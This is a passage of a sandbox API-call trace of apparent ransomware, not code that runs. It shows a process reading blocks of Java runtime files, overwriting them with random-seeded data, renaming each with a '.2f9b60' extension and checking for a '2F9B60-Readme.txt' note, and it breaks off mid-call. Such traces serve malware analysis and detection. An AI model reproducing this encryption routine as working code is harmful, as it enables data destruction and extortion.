returned 0x1a655450 [0138.145] RtlRandomEx (in: Seed=0x3579fc50 | out: Seed=0x3579fc50) returned 0x202c813 [0138.145] RtlRandomEx (in: Seed=0x3579fc50 | out: Seed=0x3579fc50) returned 0x994bf9a [0138.145] RtlRandomEx (in: Seed=0x3579fc50 | out: Seed=0x3579fc50) returned 0x6f0044a2 [0138.145] RtlRandomEx (in: Seed=0x3579fc50 | out: Seed=0x3579fc50) returned 0x5a55f58f [0138.145] RtlRandomEx (in: Seed=0x3579fc50 | out: Seed=0x3579fc50) returned 0x542dcb3d [0138.145] RtlRandomEx (in: Seed=0x3579fc50 | out: Seed=0x3579fc50) returned 0x20e5ae1e [0138.145] RtlRandomEx (in: Seed=0x3579fc50 | out: Seed=0x3579fc50) returned 0x672d78df [0138.145] RtlRandomEx (in: Seed=0x3579fc50 | out: Seed=0x3579fc50) returned 0x59a7e91b [0138.145] RtlRandomEx (in: Seed=0x3579fc50 | out: Seed=0x3579fc50) returned 0x2df4aecc [0138.145] RtlRandomEx (in: Seed=0x3579fc50 | out: Seed=0x3579fc50) returned 0x608df313 [0138.145] RtlRandomEx (in: Seed=0x3579fc50 | out: Seed=0x3579fc50) returned 0x7905c0c1 [0138.145] RtlRandomEx (in: Seed=0x3579fc50 | out: Seed=0x3579fc50) returned 0x4ed005a7 [0138.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a500 [0138.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060eb0 [0138.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a320 [0138.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060eb0) returned 1 [0138.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a410) returned 1 [0138.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3e0) returned 1 [0138.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cbd170 [0138.157] SetFilePointerEx (in: hFile=0x1e70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.157] ReadFile (in: hFile=0x1e70, lpBuffer=0x41cbd170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3579fcc0, lpOverlapped=0x0 | out: lpBuffer=0x41cbd170*, lpNumberOfBytesRead=0x3579fcc0*=0x3c00, lpOverlapped=0x0) returned 1 [0138.163] SetFilePointerEx (in: hFile=0x1e70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0138.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060eb0 [0138.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3e0 [0138.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3e0) returned 1 [0138.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cb9560 [0138.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3e0 [0138.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a410 [0138.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a410) returned 1 [0138.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060eb0) returned 1 [0138.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0138.165] WriteFile (in: hFile=0x1e70, lpBuffer=0x41cb9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3579fcc0, lpOverlapped=0x0 | out: lpBuffer=0x41cb9560*, lpNumberOfBytesWritten=0x3579fcc0*=0x3c00, lpOverlapped=0x0) returned 1 [0138.184] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cb9560) returned 1 [0138.185] SetFilePointerEx (in: hFile=0x1e70, liDistanceToMove=0x1b3000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.185] ReadFile (in: hFile=0x1e70, lpBuffer=0x41cbd170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3579fcc0, lpOverlapped=0x0 | out: lpBuffer=0x41cbd170*, lpNumberOfBytesRead=0x3579fcc0*=0x3c00, lpOverlapped=0x0) returned 1 [0138.195] SetFilePointerEx (in: hFile=0x1e70, liDistanceToMove=0x1b3000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0138.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060eb0 [0138.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5f0 [0138.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5f0) returned 1 [0138.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42073100 [0138.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5f0 [0138.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a440 [0138.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a440) returned 1 [0138.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060eb0) returned 1 [0138.197] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0138.197] WriteFile (hFile=0x1e70, lpBuffer=0x42073100, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3579fcc0, lpOverlapped=0x0) [0180.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42073100) returned 1 [0180.191] SetFilePointerEx (in: hFile=0x1e70, liDistanceToMove=0x360827, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.191] ReadFile (in: hFile=0x1e70, lpBuffer=0x41cbd170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3579fcc0, lpOverlapped=0x0 | out: lpBuffer=0x41cbd170*, lpNumberOfBytesRead=0x3579fcc0*=0x3c00, lpOverlapped=0x0) returned 1 [0182.165] SetFilePointerEx (in: hFile=0x1e70, liDistanceToMove=0x360827, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f360 [0182.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f360) returned 1 [0182.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20235950 [0182.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f360 [0182.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f390 [0182.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f390) returned 1 [0182.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.168] WriteFile (in: hFile=0x1e70, lpBuffer=0x20235950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3579fcc0, lpOverlapped=0x0 | out: lpBuffer=0x20235950*, lpNumberOfBytesWritten=0x3579fcc0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20235950) returned 1 [0198.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4309fd00 [0198.810] SetFilePointerEx (in: hFile=0x1e70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0198.810] WriteFile (in: hFile=0x1e70, lpBuffer=0x431f57a0*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x3579fd70, lpOverlapped=0x0 | out: lpBuffer=0x431f57a0*, lpNumberOfBytesWritten=0x3579fd70*=0x14a, lpOverlapped=0x0) returned 1 [0203.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420596a0 [0203.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307e00 [0203.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262540 [0203.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262540) returned 1 [0203.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0f120 [0203.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262540 [0203.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262510 [0203.778] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262510) returned 1 [0203.778] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307e00) returned 1 [0203.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420596a0) returned 1 [0203.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5e270 [0203.779] sprintf (in: _Dest=0x1ce5e270, _Format="%c%c" | out: _Dest="22") returned 2 [0203.779] sprintf (in: _Dest=0x1ce5e272, _Format="%c%c" | out: _Dest="4b") returned 2 [0203.779] sprintf (in: _Dest=0x1ce5e274, _Format="%c%c" | out: _Dest="97") returned 2 [0203.779] sprintf (in: _Dest=0x1ce5e276, _Format="%c%c" | out: _Dest="57") returned 2 [0203.779] sprintf (in: _Dest=0x1ce5e278, _Format="%c%c" | out: _Dest="00") returned 2 [0203.779] sprintf (in: _Dest=0x1ce5e27a, _Format="%c%c" | out: _Dest="85") returned 2 [0203.779] sprintf (in: _Dest=0x1ce5e27c, _Format="%c%c" | out: _Dest="c6") returned 2 [0203.779] sprintf (in: _Dest=0x1ce5e27e, _Format="%c%c" | out: _Dest="04") returned 2 [0203.779] sprintf (in: _Dest=0x1ce5e280, _Format="%c%c" | out: _Dest="57") returned 2 [0203.779] sprintf (in: _Dest=0x1ce5e282, _Format="%c%c" | out: _Dest="a4") returned 2 [0203.779] sprintf (in: _Dest=0x1ce5e284, _Format="%c%c" | out: _Dest="23") returned 2 [0203.779] sprintf (in: _Dest=0x1ce5e286, _Format="%c%c" | out: _Dest="6f") returned 2 [0203.780] sprintf (in: _Dest=0x1ce5e288, _Format="%c%c" | out: _Dest="c1") returned 2 [0203.780] sprintf (in: _Dest=0x1ce5e28a, _Format="%c%c" | out: _Dest="c3") returned 2 [0203.780] sprintf (in: _Dest=0x1ce5e28c, _Format="%c%c" | out: _Dest="f9") returned 2 [0203.780] sprintf (in: _Dest=0x1ce5e28e, _Format="%c%c" | out: _Dest="06") returned 2 [0203.780] sprintf (in: _Dest=0x1ce5e290, _Format="%c%c" | out: _Dest="25") returned 2 [0203.780] sprintf (in: _Dest=0x1ce5e292, _Format="%c%c" | out: _Dest="4e") returned 2 [0203.780] sprintf (in: _Dest=0x1ce5e294, _Format="%c%c" | out: _Dest="39") returned 2 [0203.780] sprintf (in: _Dest=0x1ce5e296, _Format="%c%c" | out: _Dest="74") returned 2 [0203.780] sprintf (in: _Dest=0x1ce5e298, _Format="%c%c" | out: _Dest="35") returned 2 [0203.780] sprintf (in: _Dest=0x1ce5e29a, _Format="%c%c" | out: _Dest="c3") returned 2 [0203.780] sprintf (in: _Dest=0x1ce5e29c, _Format="%c%c" | out: _Dest="f1") returned 2 [0203.780] sprintf (in: _Dest=0x1ce5e29e, _Format="%c%c" | out: _Dest="9a") returned 2 [0203.780] RtlInitAnsiString (in: DestinationString=0x3579fde8, SourceString="224b97570085c60457a4236fc1c3f906254e397435c3f19a" | out: DestinationString="224b97570085c60457a4236fc1c3f906254e397435c3f19a") [0203.780] RtlAnsiStringToUnicodeString (in: DestinationString=0x3579fdb8, SourceString="224b97570085c60457a4236fc1c3f906254e397435c3f19a", AllocateDestinationString=1 | out: DestinationString="224b97570085c60457a4236fc1c3f906254e397435c3f19a") returned 0x0 [0203.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4309fc20 [0203.781] wcscat (in: _Dest=0x42307e00, _Source="224b97570085" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\224b97570085") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\224b97570085" [0203.781] wcscat (in: _Dest=0x42307e00, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\224b97570085.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\224b97570085.2f9b60" [0203.781] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\224b97570085.2f9b60", NtPathName=0x3579fd90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\224b97570085.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0203.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x431c4fe0 [0238.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c4fe0) returned 1 [0238.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x432245c0) returned 1 [0238.391] NtQueryInformationFile (in: FileHandle=0x1e70, IoStatusBlock=0x3579fdf8, FileInformation=0x3579fe08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3579fdf8, FileInformation=0x3579fe08) returned 0x0 [0238.391] NtSetInformationFile (FileHandle=0x1e70, IoStatusBlock=0x3579fdf8, FileInformation=0x3579fe08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0241.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307e00) returned 1 [0241.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4309fc20) returned 1 [0241.855] FlushFileBuffers (hFile=0x1e70) returned 1 [0241.865] CloseHandle (hObject=0x1e70) returned 1 [0242.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420603b0 [0242.982] wcscpy (in: _Dest=0x420603b0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0242.982] wcscat (in: _Dest=0x420603b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" [0242.982] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\2f9b60-readme.txt")) returned 0x20 [0242.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420603b0) returned 1 [0242.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864610) returned 1 Thread: id = 2067 os_tid = 0x1350 [0138.160] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\classlist" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\classlist")) returned 0x20 [0138.160] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\classlist", dwFileAttributes=0x20) returned 1 [0138.161] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\classlist" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\classlist"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e7c [0138.161] GetFileSizeEx (in: hFile=0x1e7c, lpFileSize=0x2961f820 | out: lpFileSize=0x2961f820*=75075) returned 1 [0138.161] SetFilePointerEx (in: hFile=0x1e7c, liDistanceToMove=0x1253f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.161] ReadFile (in: hFile=0x1e7c, lpBuffer=0x2961f7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2961f7e8, lpOverlapped=0x0 | out: lpBuffer=0x2961f7a0*, lpNumberOfBytesRead=0x2961f7e8*=0x4, lpOverlapped=0x0) returned 1 [0138.167] SetFilePointerEx (in: hFile=0x1e7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a410 [0138.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a290 [0138.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5f0 [0138.168] NtQuerySystemTime (in: CurrentTime=0x2961f6e0 | out: CurrentTime=0x2961f6e0*=132462177434026000) returned 0x0 [0138.168] RtlRandomEx (in: Seed=0x2961f6d0 | out: Seed=0x2961f6d0) returned 0x64b0940a [0138.168] RtlRandomEx (in: Seed=0x2961f6d0 | out: Seed=0x2961f6d0) returned 0x54cacddc [0138.168] RtlRandomEx (in: Seed=0x2961f6d0 | out: Seed=0x2961f6d0) returned 0x79515790 [0138.168] RtlRandomEx (in: Seed=0x2961f6d0 | out: Seed=0x2961f6d0) returned 0xd99efc2 [0138.168] RtlRandomEx (in: Seed=0x2961f6d0 | out: Seed=0x2961f6d0) returned 0x29ad3ea0 [0138.168] RtlRandomEx (in: Seed=0x2961f6d0 | out: Seed=0x2961f6d0) returned 0x62e18481 [0138.168] RtlRandomEx (in: Seed=0x2961f6d0 | out: Seed=0x2961f6d0) returned 0x3755a255 [0138.168] RtlRandomEx (in: Seed=0x2961f6d0 | out: Seed=0x2961f6d0) returned 0xe6065f4 [0138.168] RtlRandomEx (in: Seed=0x2961f6d0 | out: Seed=0x2961f6d0) returned 0x5b7754e2 [0138.168] RtlRandomEx (in: Seed=0x2961f6d0 | out: Seed=0x2961f6d0) returned 0x5c03d3a4 [0138.168] RtlRandomEx (in: Seed=0x2961f6d0 | out: Seed=0x2961f6d0) returned 0x204282fc [0138.168] RtlRandomEx (in: Seed=0x2961f6d0 | out: Seed=0x2961f6d0) returned 0x1e897258 [0138.168] RtlRandomEx (in: Seed=0x2961f6d0 | out: Seed=0x2961f6d0) returned 0x34e0f1f8 [0138.168] RtlRandomEx (in: Seed=0x2961f6d0 | out: Seed=0x2961f6d0) returned 0x1e3e1df3 [0138.168] RtlRandomEx (in: Seed=0x2961f6d0 | out: Seed=0x2961f6d0) returned 0x1f0d575d [0138.168] RtlRandomEx (in: Seed=0x2961f6d0 | out: Seed=0x2961f6d0) returned 0x7d38d499 [0138.168] RtlRandomEx (in: Seed=0x2961f6d0 | out: Seed=0x2961f6d0) returned 0x41b4d41f [0138.168] RtlRandomEx (in: Seed=0x2961f6d0 | out: Seed=0x2961f6d0) returned 0x73fb9bd9 [0138.168] RtlRandomEx (in: Seed=0x2961f6d0 | out: Seed=0x2961f6d0) returned 0x13c3dd61 [0138.168] RtlRandomEx (in: Seed=0x2961f6d0 | out: Seed=0x2961f6d0) returned 0x7847d792 [0138.169] RtlRandomEx (in: Seed=0x2961f6d0 | out: Seed=0x2961f6d0) returned 0x2e9ff5ee [0138.169] RtlRandomEx (in: Seed=0x2961f6d0 | out: Seed=0x2961f6d0) returned 0xa7cccd2 [0138.169] RtlRandomEx (in: Seed=0x2961f6d0 | out: Seed=0x2961f6d0) returned 0x37e7b3fe [0138.169] RtlRandomEx (in: Seed=0x2961f6d0 | out: Seed=0x2961f6d0) returned 0xaf2d76f [0138.169] RtlRandomEx (in: Seed=0x2961f6d0 | out: Seed=0x2961f6d0) returned 0x7298f3ef [0138.169] RtlRandomEx (in: Seed=0x2961f6d0 | out: Seed=0x2961f6d0) returned 0x1c3a6eef [0138.169] RtlRandomEx (in: Seed=0x2961f6d0 | out: Seed=0x2961f6d0) returned 0x538a86ee [0138.169] RtlRandomEx (in: Seed=0x2961f6d0 | out: Seed=0x2961f6d0) returned 0x19d5df8b [0138.169] RtlRandomEx (in: Seed=0x2961f6d0 | out: Seed=0x2961f6d0) returned 0x482efc4c [0138.169] RtlRandomEx (in: Seed=0x2961f6d0 | out: Seed=0x2961f6d0) returned 0x12425a86 [0138.169] RtlRandomEx (in: Seed=0x2961f6d0 | out: Seed=0x2961f6d0) returned 0x6cd07e4d [0138.169] RtlRandomEx (in: Seed=0x2961f6d0 | out: Seed=0x2961f6d0) returned 0x7e4db285 [0138.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4a0 [0138.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060eb0 [0138.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a0b0 [0138.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060eb0) returned 1 [0138.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5f0) returned 1 [0138.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a410) returned 1 [0138.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203c61b0 [0138.181] SetFilePointerEx (in: hFile=0x1e7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.181] ReadFile (in: hFile=0x1e7c, lpBuffer=0x203c61b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2961f740, lpOverlapped=0x0 | out: lpBuffer=0x203c61b0*, lpNumberOfBytesRead=0x2961f740*=0x3c00, lpOverlapped=0x0) returned 1 [0138.186] SetFilePointerEx (in: hFile=0x1e7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0138.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060eb0 [0138.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a410 [0138.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a410) returned 1 [0138.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cb9560 [0138.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a410 [0138.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5f0 [0138.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5f0) returned 1 [0138.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060eb0) returned 1 [0138.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0138.188] WriteFile (hFile=0x1e7c, lpBuffer=0x41cb9560, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2961f740, lpOverlapped=0x0) [0179.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cb9560) returned 1 [0179.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203c61b0) returned 1 [0179.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263140 [0179.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ec0 [0179.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866c40 [0179.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261eb0 [0179.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261eb0) returned 1 [0179.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261eb0 [0179.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a67a0 [0179.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0110 [0179.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0110) returned 1 [0179.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866c40) returned 1 [0179.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ec0) returned 1 [0179.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x104) returned 0x423a9c50 [0179.983] SetFilePointerEx (in: hFile=0x1e7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0179.983] WriteFile (in: hFile=0x1e7c, lpBuffer=0x423a9c50*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2961f7f0, lpOverlapped=0x0 | out: lpBuffer=0x423a9c50*, lpNumberOfBytesWritten=0x2961f7f0*=0x104, lpOverlapped=0x0) returned 1 [0206.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61510 [0206.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060cb0 [0206.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bf10 [0206.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bf10) returned 1 [0206.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d320 [0206.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bf10 [0206.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bee0 [0206.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bee0) returned 1 [0206.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060cb0) returned 1 [0206.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61510) returned 1 [0206.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x4205bee0 [0206.241] sprintf (in: _Dest=0x4205bee0, _Format="%c%c" | out: _Dest="52") returned 2 [0206.241] sprintf (in: _Dest=0x4205bee2, _Format="%c%c" | out: _Dest="41") returned 2 [0206.241] sprintf (in: _Dest=0x4205bee4, _Format="%c%c" | out: _Dest="33") returned 2 [0206.241] sprintf (in: _Dest=0x4205bee6, _Format="%c%c" | out: _Dest="45") returned 2 [0206.241] sprintf (in: _Dest=0x4205bee8, _Format="%c%c" | out: _Dest="5a") returned 2 [0206.241] sprintf (in: _Dest=0x4205beea, _Format="%c%c" | out: _Dest="9b") returned 2 [0206.241] sprintf (in: _Dest=0x4205beec, _Format="%c%c" | out: _Dest="40") returned 2 [0206.241] sprintf (in: _Dest=0x4205beee, _Format="%c%c" | out: _Dest="51") returned 2 [0206.241] sprintf (in: _Dest=0x4205bef0, _Format="%c%c" | out: _Dest="85") returned 2 [0206.241] sprintf (in: _Dest=0x4205bef2, _Format="%c%c" | out: _Dest="f0") returned 2 [0206.241] sprintf (in: _Dest=0x4205bef4, _Format="%c%c" | out: _Dest="9f") returned 2 [0206.241] sprintf (in: _Dest=0x4205bef6, _Format="%c%c" | out: _Dest="4b") returned 2 [0206.241] sprintf (in: _Dest=0x4205bef8, _Format="%c%c" | out: _Dest="e0") returned 2 [0206.241] sprintf (in: _Dest=0x4205befa, _Format="%c%c" | out: _Dest="79") returned 2 [0206.241] sprintf (in: _Dest=0x4205befc, _Format="%c%c" | out: _Dest="0f") returned 2 [0206.241] sprintf (in: _Dest=0x4205befe, _Format="%c%c" | out: 